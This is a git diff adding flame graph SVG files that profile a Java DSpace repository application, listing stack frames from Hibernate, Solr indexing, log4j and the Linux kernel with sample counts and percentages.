+org/apache/log4j/Category:::callAppenders (3 samples, 0.44%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +__x64_sys_sendto (14 samples, 2.07%) +_.. + + +java/lang/Throwable:::printStackTrace (1 samples, 0.15%) + + + +call_stub (3 samples, 0.44%) + + + +_raw_spin_unlock_irq (1 samples, 0.15%) + + + +do_syscall_64 (1 samples, 0.15%) + + + +[libjvm.so] (7 samples, 1.04%) + + + +finish_task_switch (17 samples, 2.51%) +fi.. + + +[libjvm.so] (3 samples, 0.44%) + + + +org/apache/commons/dbcp2/DelegatingConnection:::prepareStatement (1 samples, 0.15%) + + + +__schedule (34 samples, 5.03%) +__sche.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (5 samples, 0.74%) + + + +__x64_sys_mprotect (2 samples, 0.30%) + + + +__audit_syscall_exit (1 samples, 0.15%) + + + +jshort_disjoint_arraycopy (1 samples, 0.15%) + + + +tcp_v4_do_rcv (2 samples, 0.30%) + + + +org/hibernate/proxy/pojo/javassist/JavassistLazyInitializer:::invoke (2 samples, 0.30%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::applyBeanPostProcessorsBeforeInitialization (2 samples, 0.30%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (7 samples, 1.04%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (3 samples, 0.44%) + + + +org/dspace/app/util/DailyFileAppender:::subAppend (3 samples, 0.44%) + + + +org/apache/log4j/AppenderSkeleton:::doAppend (1 samples, 0.15%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +__usb_hcd_giveback_urb (1 samples, 0.15%) + + + +call_stub (372 samples, 55.03%) +call_stub + + +native_write_msr (4 samples, 0.59%) + + + +JVM_FillInStackTrace (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::getCollectionEntry (1 samples, 0.15%) + + + +__x64_sys_futex (56 samples, 8.28%) +__x64_sys_f.. + + +org/hibernate/type/descriptor/sql/BasicExtractor:::extract (1 samples, 0.15%) + + + +do_syscall_64 (18 samples, 2.66%) +do.. + + +[libjvm.so] (3 samples, 0.44%) + + + +__x64_sys_write (1 samples, 0.15%) + + + +schedule (8 samples, 1.18%) + + + +Interpreter (372 samples, 55.03%) +Interpreter + + +org/hibernate/loader/Loader:::loadCollection (1 samples, 0.15%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (3 samples, 0.44%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.15%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::hydrate (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (8 samples, 1.18%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +java/io/FileOutputStream:::writeBytes (1 samples, 0.15%) + + + +ctx_sched_in (2 samples, 0.30%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (10 samples, 1.48%) + + + +org/apache/log4j/WriterAppender:::subAppend (1 samples, 0.15%) + + + +com/sun/proxy/$Proxy40:::isDirty (10 samples, 1.48%) + + + +org/hibernate/type/descriptor/sql/TimestampTypeDescriptor$2:::doExtract (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::setOwner (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (1 samples, 0.15%) + + + +org/hibernate/collection/internal/PersistentList:::toArray (1 samples, 0.15%) + + + +smp_apic_timer_interrupt (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (1 samples, 0.15%) + + + +__x86_indirect_thunk_rax (1 samples, 0.15%) + + + +org/apache/solr/common/util/XML:::escape (2 samples, 0.30%) + + + +net_rx_action (6 samples, 0.89%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::isStale (2 samples, 0.30%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.15%) + + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadataFirstValue (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/dspace/core/HibernateDBConnection:::uncacheEntity (220 samples, 32.54%) +org/dspace/core/HibernateDBConnection:::uncacheEntity + + +sun/reflect/GeneratedMethodAccessor16:::invoke (10 samples, 1.48%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::propertySelectFragmentFragment (1 samples, 0.15%) + + + +ipv4_conntrack_defrag (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (15 samples, 2.22%) +o.. + + +[libjvm.so] (2 samples, 0.30%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.15%) + + + +__intel_pmu_enable_all.constprop.0 (16 samples, 2.37%) +_.. + + +org/hibernate/type/CollectionType:::isCollectionType (1 samples, 0.15%) + + + +start_thread (3 samples, 0.44%) + + + +org/apache/log4j/WriterAppender:::append (1 samples, 0.15%) + + + +[libjvm.so] (79 samples, 11.69%) +[libjvm.so] + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (40 samples, 5.92%) +org/hib.. + + +__schedule (12 samples, 1.78%) + + + +enqueue_hrtimer (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultDirtyCheckEventListener:::onDirtyCheck (15 samples, 2.22%) +o.. + + +native_write_msr (12 samples, 1.78%) + + + +org/hibernate/engine/internal/Cascade:::cascade (9 samples, 1.33%) + + + +ip_rcv (6 samples, 0.89%) + + + +schedule (18 samples, 2.66%) +sc.. + + +itable stub (1 samples, 0.15%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (83 samples, 12.28%) +sun/reflect/Genera.. + + +org/apache/http/impl/AbstractHttpClientConnection:::isStale (2 samples, 0.30%) + + + +perf_event_update_userpage (1 samples, 0.15%) + + + +__intel_pmu_enable_all.constprop.0 (4 samples, 0.59%) + + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getDelegate (2 samples, 0.30%) + + + +org/hibernate/internal/SessionImpl:::listeners (1 samples, 0.15%) + + + +org/dspace/servicemanager/DSpaceServiceManager:::getServicesByType (2 samples, 0.30%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (4 samples, 0.59%) + + + +com/sun/proxy/$Proxy40:::evict (1 samples, 0.15%) + + + +irq_exit (1 samples, 0.15%) + + + +futex_wait (4 samples, 0.59%) + + + +mprotect_fixup (2 samples, 0.30%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (2 samples, 0.30%) + + + +org/hibernate/internal/SessionImpl:::checkTransactionSynchStatus (1 samples, 0.15%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::load (2 samples, 0.30%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (2 samples, 0.30%) + + + +java/lang/String:::toLowerCase (1 samples, 0.15%) + + + +futex_wait (12 samples, 1.78%) + + + +unlink_anon_vmas (2 samples, 0.30%) + + + +new_sync_write (1 samples, 0.15%) + + + +java/util/AbstractMap:::get (1 samples, 0.15%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::receiveResponseEntity (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (13 samples, 1.92%) +o.. + + +tick_sched_timer (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::getEntityUsingInterceptor (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (3 samples, 0.44%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (5 samples, 0.74%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.15%) + + + +org/postgresql/jdbc/PgStatement:::executeInternal (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (1 samples, 0.15%) + + + +__schedule (8 samples, 1.18%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::reassociateIfUninitializedProxy (1 samples, 0.15%) + + + +__softirqentry_text_start (1 samples, 0.15%) + + + +schedule (12 samples, 1.78%) + + + +ipv4_mtu (1 samples, 0.15%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (7 samples, 1.04%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (14 samples, 2.07%) +o.. + + +org/hibernate/internal/SessionFactoryImpl:::getImplementors (2 samples, 0.30%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (5 samples, 0.74%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (16 samples, 2.37%) +o.. + + +switch_fpu_return (2 samples, 0.30%) + + + +org/hibernate/event/internal/DefaultDirtyCheckEventListener:::onDirtyCheck (10 samples, 1.48%) + + + +java/lang/Object:::hashCode (2 samples, 0.30%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.15%) + + + +__perf_event_task_sched_in (12 samples, 1.78%) + + + +org/dspace/discovery/FullTextContentStreams$FullTextEnumeration:::nextElement (4 samples, 0.59%) + + + +org/apache/log4j/WriterAppender:::append (1 samples, 0.15%) + + + +org/hibernate/loader/entity/AbstractEntityLoader:::load (2 samples, 0.30%) + + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.15%) + + + +org/dspace/discovery/SolrServiceImpl:::requiresIndexing (2 samples, 0.30%) + + + +nft_do_chain (2 samples, 0.30%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (1 samples, 0.15%) + + + +org/hibernate/type/CollectionType:::isCollectionType (1 samples, 0.15%) + + + +java/net/SocketInputStream:::socketRead0 (2 samples, 0.30%) + + + +file_modified (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::setCurrentSession (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::sendRequestEntity (2 samples, 0.30%) + + + +ret_from_intr (1 samples, 0.15%) + + + +org/apache/log4j/helpers/PatternParser$DatePatternConverter:::convert (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::setOwner (1 samples, 0.15%) + + + +do_syscall_64 (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::wasInitialized (1 samples, 0.15%) + + + +__intel_pmu_enable_all.constprop.0 (8 samples, 1.18%) + + + +__hrtimer_run_queues (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultLoadEventListener:::onLoad (1 samples, 0.15%) + + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (2 samples, 0.30%) + + + +itable stub (6 samples, 0.89%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::isDirty (36 samples, 5.33%) +org/hi.. + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (15 samples, 2.22%) +o.. + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (3 samples, 0.44%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.15%) + + + +pthread_cond_wait@@GLIBC_2.3.2 (4 samples, 0.59%) + + + +Interpreter (372 samples, 55.03%) +Interpreter + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (5 samples, 0.74%) + + + +org/hibernate/event/internal/DefaultLoadEventListener:::load (2 samples, 0.30%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (3 samples, 0.44%) + + + +org/hibernate/loader/Loader:::getRowFromResultSet (3 samples, 0.44%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +event_sched_in.isra.0.part.0 (2 samples, 0.30%) + + + +finish_task_switch (8 samples, 1.18%) + + + +JVM_InternString (1 samples, 0.15%) + + + +schedule_hrtimeout_range_clock (4 samples, 0.59%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/internal/SessionFactoryImpl:::getCollectionPersister (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (11 samples, 1.63%) + + + +__x64_sys_recvfrom (16 samples, 2.37%) +_.. + + +do_softirq.part.0 (1 samples, 0.15%) + + + +org/hibernate/internal/SessionFactoryImpl:::getCollectionPersister (1 samples, 0.15%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (2 samples, 0.30%) + + + +org/dspace/discovery/SolrServiceContentInOriginalBundleFilterPlugin:::hasOriginalBundleWithContent (3 samples, 0.44%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +__tcp_transmit_skb (1 samples, 0.15%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +sun/reflect/DelegatingMethodAccessorImpl:::invoke (372 samples, 55.03%) +sun/reflect/DelegatingMethodAccessorImpl:::invoke + + +__send (16 samples, 2.37%) +_.. + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (5 samples, 0.74%) + + + +Java_java_io_FileOutputStream_writeBytes (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +entry_SYSCALL_64 (1 samples, 0.15%) + + + +pthread_cond_wait@@GLIBC_2.3.2 (60 samples, 8.88%) +pthread_cond.. + + +ext4_reserve_inode_write (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (1 samples, 0.15%) + + + +itable stub (1 samples, 0.15%) + + + +nft_immediate_eval (1 samples, 0.15%) + + + +entry_SYSCALL_64 (9 samples, 1.33%) + + + +org/apache/solr/client/solrj/request/AbstractUpdateRequest:::process (7 samples, 1.04%) + + + +itable stub (1 samples, 0.15%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (64 samples, 9.47%) +sun/reflect/G.. + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.15%) + + + +tcp_sendmsg_locked (11 samples, 1.63%) + + + +__pthread_mutex_unlock_usercnt (1 samples, 0.15%) + + + +java/util/HashMap:::put (1 samples, 0.15%) + + + +org/hibernate/collection/internal/PersistentList:::toArray (1 samples, 0.15%) + + + +perf_swevent_add (2 samples, 0.30%) + + + +[libjvm.so] (7 samples, 1.04%) + + + +sun/reflect/GeneratedMethodAccessor17:::invoke (1 samples, 0.15%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.15%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (1 samples, 0.15%) + + + +entry_SYSCALL_64 (4 samples, 0.59%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.15%) + + + +java (473 samples, 69.97%) +java + + +org/apache/commons/configuration/MapConfiguration:::getProperty (1 samples, 0.15%) + + + +java/lang/Throwable:::printStackTrace (1 samples, 0.15%) + + + +org/hibernate/loader/collection/CollectionLoader:::isSubselectLoadingEnabled (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.15%) + + + +__perf_event_task_sched_in (14 samples, 2.07%) +_.. + + +java/io/FileOutputStream:::write (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/apache/log4j/Category:::callAppenders (1 samples, 0.15%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (13 samples, 1.92%) +s.. + + +_raw_spin_unlock_irqrestore (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (1 samples, 0.15%) + + + +finish_task_switch (33 samples, 4.88%) +finish.. + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadataFirstValue (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (7 samples, 1.04%) + + + +__local_bh_enable_ip (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultDirtyCheckEventListener:::onDirtyCheck (9 samples, 1.33%) + + + +fput (1 samples, 0.15%) + + + +java/util/regex/Pattern$GroupTail:::match (1 samples, 0.15%) + + + +__perf_event_task_sched_in (12 samples, 1.78%) + + + +org/hibernate/event/internal/DefaultAutoFlushEventListener:::onAutoFlush (33 samples, 4.88%) +org/hi.. + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (4 samples, 0.59%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.15%) + + + +entry_SYSCALL_64 (15 samples, 2.22%) +e.. + + +[libjvm.so] (1 samples, 0.15%) + + + +java/lang/Throwable:::printStackTrace (1 samples, 0.15%) + + + +java/net/SocketInputStream:::read (2 samples, 0.30%) + + + +__x64_sys_futex (12 samples, 1.78%) + + + +apic_timer_interrupt (1 samples, 0.15%) + + + +schedule (14 samples, 2.07%) +s.. + + +_raw_spin_unlock_irqrestore (1 samples, 0.15%) + + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadata (1 samples, 0.15%) + + + +[libjvm.so] (46 samples, 6.80%) +[libjvm.so] + + +org/hibernate/engine/internal/StatefulPersistenceContext:::reassociateIfUninitializedProxy (1 samples, 0.15%) + + + +org/hibernate/type/AbstractStandardBasicType:::hydrate (1 samples, 0.15%) + + + +__slab_free (1 samples, 0.15%) + + + +start_thread (1 samples, 0.15%) + + + +org/dspace/servicemanager/spring/DSpaceBeanPostProcessor:::postProcessBeforeInitialization (2 samples, 0.30%) + + + +__schedule (18 samples, 2.66%) +__.. + + +org/apache/commons/dbcp2/DelegatingResultSet:::getTimestamp (1 samples, 0.15%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.15%) + + + +__x64_sys_futex (34 samples, 5.03%) +__x64_.. + + +do_syscall_64 (1 samples, 0.15%) + + + +org/hibernate/internal/SessionImpl:::isDirty (17 samples, 2.51%) +or.. + + +C1_CompilerThre (20 samples, 2.96%) +C1.. + + +ip_output (8 samples, 1.18%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::convert (3 samples, 0.44%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (2 samples, 0.30%) + + + +__intel_pmu_enable_all.constprop.0 (4 samples, 0.59%) + + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadata (1 samples, 0.15%) + + + +do_syscall_64 (1 samples, 0.15%) + + + +org/dspace/app/util/DailyFileAppender:::subAppend (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultDirtyCheckEventListener:::onDirtyCheck (7 samples, 1.04%) + + + +org/hibernate/event/internal/DefaultDirtyCheckEventListener:::onDirtyCheck (17 samples, 2.51%) +or.. + + +org/dspace/discovery/SolrServiceImpl:::indexContent (152 samples, 22.49%) +org/dspace/discovery/SolrServiceImp.. + + +org/hibernate/event/internal/FlushVisitor:::processCollection (1 samples, 0.15%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::isStale (5 samples, 0.74%) + + + +do_syscall_64 (20 samples, 2.96%) +do.. + + +ext4_dirty_inode (1 samples, 0.15%) + + + +org/hibernate/type/CollectionType:::isDirty (1 samples, 0.15%) + + + +call_stub (1 samples, 0.15%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (11 samples, 1.63%) + + + +preempt_count_add (1 samples, 0.15%) + + + +org/hibernate/type/CollectionType:::isCollectionType (1 samples, 0.15%) + + + +org/hibernate/type/CollectionType:::isCollectionType (2 samples, 0.30%) + + + +__x64_sys_futex (8 samples, 1.18%) + + + +java/util/TimSort:::sort (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (7 samples, 1.04%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (40 samples, 5.92%) +sun/ref.. + + +all (676 samples, 100%) + + + +ip_finish_output2 (7 samples, 1.04%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (3 samples, 0.44%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (6 samples, 0.89%) + + + +futex_wait (34 samples, 5.03%) +futex_.. + + +org/hibernate/persister/entity/AbstractEntityPersister:::hydrate (1 samples, 0.15%) + + + +futex_wait (19 samples, 2.81%) +fu.. + + +itable stub (1 samples, 0.15%) + + + +arch_perf_update_userpage (1 samples, 0.15%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::getKeys (2 samples, 0.30%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +java/util/HashMap$KeySet:::iterator (1 samples, 0.15%) + + + +org/dspace/discovery/SolrServiceFileInfoPlugin:::additionalIndex (1 samples, 0.15%) + + + +entry_SYSCALL_64 (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +[libjvm.so] (4 samples, 0.59%) + + + +smp_apic_timer_interrupt (1 samples, 0.15%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (36 samples, 5.33%) +org/hi.. + + +[libjvm.so] (1 samples, 0.15%) + + + +java/util/regex/Pattern$Curly:::match (1 samples, 0.15%) + + + +java/net/URLEncoder:::encode (1 samples, 0.15%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (2 samples, 0.30%) + + + +hrtimer_wakeup (1 samples, 0.15%) + + + +preempt_count_sub (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +org/apache/http/cookie/CookieSpecRegistry$1:::create (1 samples, 0.15%) + + + +itable stub (1 samples, 0.15%) + + + +syscall_trace_enter (1 samples, 0.15%) + + + +__perf_event_task_sched_in (17 samples, 2.51%) +__.. + + +[libjvm.so] (1 samples, 0.15%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (1 samples, 0.15%) + + + +__x64_sys_futex (19 samples, 2.81%) +__.. + + +org/hibernate/event/internal/FlushVisitor:::processCollection (8 samples, 1.18%) + + + +itable stub (1 samples, 0.15%) + + + +entry_SYSCALL_64 (17 samples, 2.51%) +en.. + + +[libjvm.so] (2 samples, 0.30%) + + + +do_syscall_64 (17 samples, 2.51%) +do.. + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (3 samples, 0.44%) + + + +C2_CompilerThre (114 samples, 16.86%) +C2_CompilerThre + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (64 samples, 9.47%) +org/hibernate.. + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (3 samples, 0.44%) + + + +org/hibernate/engine/jdbc/internal/ResultSetReturnImpl:::extract (1 samples, 0.15%) + + + +itable stub (1 samples, 0.15%) + + + +[libjvm.so] (372 samples, 55.03%) +[libjvm.so] + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (13 samples, 1.92%) +o.. + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (5 samples, 0.74%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::dirtyCheck (11 samples, 1.63%) + + + +__softirqentry_text_start (6 samples, 0.89%) + + + +futex_wait_queue_me (12 samples, 1.78%) + + + +org/hibernate/persister/entity/JoinedSubclassEntityPersister:::discriminatorFragment (1 samples, 0.15%) + + + +nft_do_chain_inet (2 samples, 0.30%) + + + +org/dspace/content/Item:::getCollections (2 samples, 0.30%) + + + +__audit_syscall_exit (1 samples, 0.15%) + + + +Ljava/lang/ref/ReferenceQueue:::remove (3 samples, 0.44%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (4 samples, 0.59%) + + + +org/hibernate/internal/SessionImpl:::fireLoad (2 samples, 0.30%) + + + +org/dspace/core/HibernateDBConnection:::uncacheEntity (175 samples, 25.89%) +org/dspace/core/HibernateDBConnection:::u.. + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (1 samples, 0.15%) + + + +do_softirq.part.0 (6 samples, 0.89%) + + + +_register_finalizer_Java (1 samples, 0.15%) + + + +itable stub (2 samples, 0.30%) + + + +Java_java_net_SocketInputStream_socketRead0 (2 samples, 0.30%) + + + +__vma_adjust (2 samples, 0.30%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (11 samples, 1.63%) + + + +native_write_msr (8 samples, 1.18%) + + + +java/lang/Integer:::equals (1 samples, 0.15%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +itable stub (1 samples, 0.15%) + + + +org/hibernate/engine/internal/Cascade:::cascade (2 samples, 0.30%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (21 samples, 3.11%) +org.. + + +perf_swevent_add (1 samples, 0.15%) + + + +vma_merge (2 samples, 0.30%) + + + +[libjvm.so] (1 samples, 0.15%) + + + +java/lang/AbstractStringBuilder:::append (1 samples, 0.15%) + + + +finish_task_switch (54 samples, 7.99%) +finish_task.. + + +[libjvm.so] (73 samples, 10.80%) +[libjvm.so] + + +org/hibernate/internal/SessionImpl:::isDirty (10 samples, 1.48%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (13 samples, 1.92%) +o.. + + +[libjvm.so] (22 samples, 3.25%) +[li.. + + +entry_SYSCALL_64 (13 samples, 1.92%) +e.. + + +org/hibernate/event/internal/DefaultDirtyCheckEventListener:::onDirtyCheck (11 samples, 1.63%) + + + +[libjvm.so] (2 samples, 0.30%) + + + +update_process_times (1 samples, 0.15%) + + + +java/lang/ref/Finalizer:::register (1 samples, 0.15%) + + + +org/dspace/servicemanager/spring/SpringServiceManager:::getServicesByType (2 samples, 0.30%) + + + +finish_task_switch (12 samples, 1.78%) + + + +__softirqentry_text_start (1 samples, 0.15%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (2 samples, 0.30%) + + + +[libjvm.so] (372 samples, 55.03%) +[libjvm.so] + + +org/hibernate/loader/Loader:::applyPostLoadLocks (1 samples, 0.15%) + + + +native_write_msr (52 samples, 7.69%) +native_wri.. + + + diff --git a/docs/2020/02/out.dspace510-3.svg b/docs/2020/02/out.dspace510-3.svg new file mode 100644 index 000000000..a96d21a67 --- /dev/null +++ b/docs/2020/02/out.dspace510-3.svg @@ -0,0 +1,2628 @@ + + + + + + + + + + + + + + +Flame Graph + +Reset Zoom +Search +ic + + + +org/dspace/storage/rdbms/TableRowIterator:::<init> (1 samples, 0.48%) + + + +process_backlog (5 samples, 2.39%) +p.. + + +jshort_disjoint_arraycopy (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +[libnet.so] (1 samples, 0.48%) + + + +org/postgresql/core/VisibleBufferedInputStream:::readMore (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getDelegate (7 samples, 3.35%) +org.. + + +__perf_event_task_sched_in (16 samples, 7.66%) +__perf_eve.. + + +Interpreter (134 samples, 64.11%) +Interpreter + + +org/springframework/core/env/MutablePropertySources:::addLast (5 samples, 2.39%) +o.. + + +perf_event_task_tick (1 samples, 0.48%) + + + +java/net/SocketInputStream:::socketRead0 (2 samples, 0.96%) + + + +org/postgresql/core/PGStream:::receiveTupleV3 (1 samples, 0.48%) + + + +schedule_hrtimeout_range (1 samples, 0.48%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.48%) + + + +java/lang/AbstractStringBuilder:::append (1 samples, 0.48%) + + + +org/postgresql/jdbc/TimestampUtils:::parseBackendTimestamp (1 samples, 0.48%) + + + +start_thread (138 samples, 66.03%) +start_thread + + +java/lang/AbstractStringBuilder:::append (1 samples, 0.48%) + + + +org/apache/http/client/utils/URLEncodedUtils:::parse (1 samples, 0.48%) + + + +Interpreter (134 samples, 64.11%) +Interpreter + + +org/springframework/beans/factory/support/AbstractBeanFactory:::doGetBean (3 samples, 1.44%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (3 samples, 1.44%) + + + +org/dspace/storage/rdbms/TableRow:::getIntColumn (1 samples, 0.48%) + + + +org/dspace/discovery/SolrServiceImpl:::unIndexContent (8 samples, 3.83%) +org/.. + + +schedule (1 samples, 0.48%) + + + +tcp_write_xmit (14 samples, 6.70%) +tcp_write.. + + +org/apache/http/impl/AbstractHttpClientConnection:::isStale (1 samples, 0.48%) + + + +dequeue_task_fair (1 samples, 0.48%) + + + +[libjvm.so] (1 samples, 0.48%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::sendRequestEntity (13 samples, 6.22%) +org/apac.. + + +JNU_ThrowByName (1 samples, 0.48%) + + + +[libjvm.so] (2 samples, 0.96%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.48%) + + + +ip_finish_output2 (6 samples, 2.87%) +ip.. + + +java/nio/charset/CharsetEncoder:::encode (7 samples, 3.35%) +jav.. + + +org/dspace/storage/rdbms/DatabaseManager:::process (3 samples, 1.44%) + + + +__x64_sys_futex (24 samples, 11.48%) +__x64_sys_futex + + +ttwu_do_activate (1 samples, 0.48%) + + + +org/postgresql/jdbc/PgPreparedStatement:::executeQuery (2 samples, 0.96%) + + + 